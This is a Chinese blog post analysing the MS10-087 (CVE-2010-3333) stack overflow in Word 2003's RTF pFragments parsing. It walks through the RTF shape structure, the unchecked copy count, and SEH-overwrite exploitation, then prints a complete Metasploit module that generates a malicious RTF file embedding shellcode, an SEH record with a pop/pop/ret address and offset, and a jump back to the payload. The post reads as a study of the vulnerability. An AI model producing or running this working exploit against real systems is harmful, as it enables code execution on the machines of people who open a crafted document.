对ms10-087(CVE-2010-3333)漏洞分析

感觉通过分析这个漏洞学到了很多,了解文档格式,去构造相应的漏洞文档。。。

这是office的RTF解析漏洞,主要是在解析pfragment属性出现的栈溢出问题,废话少说了,开始分析.....

1.基本介绍

     平台:Windows Xp Sp3 word 2003

     POC构造平台:BT5 Metasploit


2.攻击展示


2.RTF文档分析

RTF文档格式: {\rtf1    ; 指明的rtf文档,即RTF文件头
因为此漏洞是在RTF解析pFragments属性时出现的栈溢出,且该属性属于RTF绘图时的属性,因此将介绍与之相关的文件的格式。
{\shp    ;这个控制字是将图形相关的信息组合到一起。
{\sp    ;绘图属性控制字,说明后面将是绘图属性的描述。
{\sn 属性名}    ;指明是何种属性。
{\sv 属性值}    ;指明的合适的属性值。


3.漏洞分析

RTF漏洞原因: 在进行复制的时候,因为没有对复制次数进行检测,导致复制时栈溢出。

该语句是重复将ESI指向的源数据区重复复制一个双字(这里是32bit)到EDI寄存器指向的目的数据区,重复次数由ECX决定,因为没有对ECX的值进行限制,因此导致复制次数过多,使得栈溢出。


该漏洞发生在解析pfragment属性,下面为RTF解析该属性的部分源代码。

在这里,复制的次数有ECX决定,而ECX理论上的最大值应该为FFFF,但是在进行复制之前,有一个移位运算(shr ecx,2),因此ECX的最大值为3FFF,因此能够达到的最大复制为4*3FFF=FFFC字节,而分配给程序的程序运行栈栈底为0012ffff(一次运行),而执行这次复制的起始地址为00123dc0,因此空间为c240,远小于fffc,因此控制ECX将能够使得复制超过程序运行栈栈底,导致溢出。


4.漏洞利用POC(基于Metasploit)

利用原理:
栈溢出,导致触发SEH机制,使Ret覆盖seh链,使得能够跳转到shellcode

具体过程: 在栈溢出,触发seh机制时,先将一些基本的信息压入栈,然后会将指向下一条seh的地址压入栈(对应为directe),将指向异常处理函数首址的地址压入栈,等。
而在触发异常时,会跳到Ret处进行执行(pop/pop/ret),因此将会执行directe,由directe处指向JMP2,然后由JMP跳到shellcode进行执行。


使用metasploit构造Poc
文档的基本格式构造:
这里给pFragment属性设置了三个值,开始尝试了一个、两个值均利用失败,而使用第三个值利用成功,前面两个值没有作用,因此只需要构造第三个值使之溢出即可。

该属性的第三个值的构造: 该值的前部一些信息(按照格式): 前4个字节的填充,后两个字节指明复制的次数

填充shellcode。

填充directe和Ret,这里使用的是metasploit自带的函数,构造的retu一共8字节,通过OllyBug调试,得出seh的地址相对于shellcode首址偏移51156

构造JMP2,向上跳到shellcode


5.完整的POC

require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking
	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Seh
def initialize(info = {})
		super(update_info(info,
			'Name'           => 'RTF',
			'Description'    => %q{
					exploit
			},
			'License'        => MSF_LICENSE,
			'Author'         => 'think',
			'Version'        => '$v1.0 $',
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'         => 512,
					'BadChars'      => "\x00",
					'DisableNops'   => true 
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'WinxpSp3 office 2003 RTF',
						{
							'Offsets' => [51156],
							'Ret' => 0x30001bdd 	# p/p/r
						}
					],
				],
			'DefaultTarget' => 0))
		register_options(
			[
				OptString.new('FILENAME', [ true, 'The file name.',  'ms_rtf.rtf']),
			], self.class)
	end

	def exploit
		####################
		data = ''
		data << [0x1000].pack('v') * 2
		data << [0xffff].pack('v')  #copy times
		shellcode = rand_text(60000)
		shellcode[0,payload.encoded.length] = payload.encoded  #payload (shellode)

		#ret and jmp
		retu = generate_seh_record(target.ret) 
		shellcode[51156,51156+retu.length] = retu  		#set the ret
		distance = 51156+retu.length  
		jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
		shellcode[51156+retu.length, jmp_back.length] = jmp_back   #jmp
		
		# RFT file contents
		contents  = "{\\rtf1{\\shp{\\sp{\\sn pFragments}" 	#the base structure
		contents << "{\\sv 1;1;"   				#the first and second value
		contents << data.unpack('H*').first        		#the third value
		contents << shellcode.unpack('H*').first
		contents << "}}}}"
		#contents = jmp_back.length.to_s
		print_status("Creating '#{datastore['FILENAME']}' file ...")
		file_create(contents)  #create file

	end
end

6.参考

Metasploit 渗透测试魔鬼训练营


  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值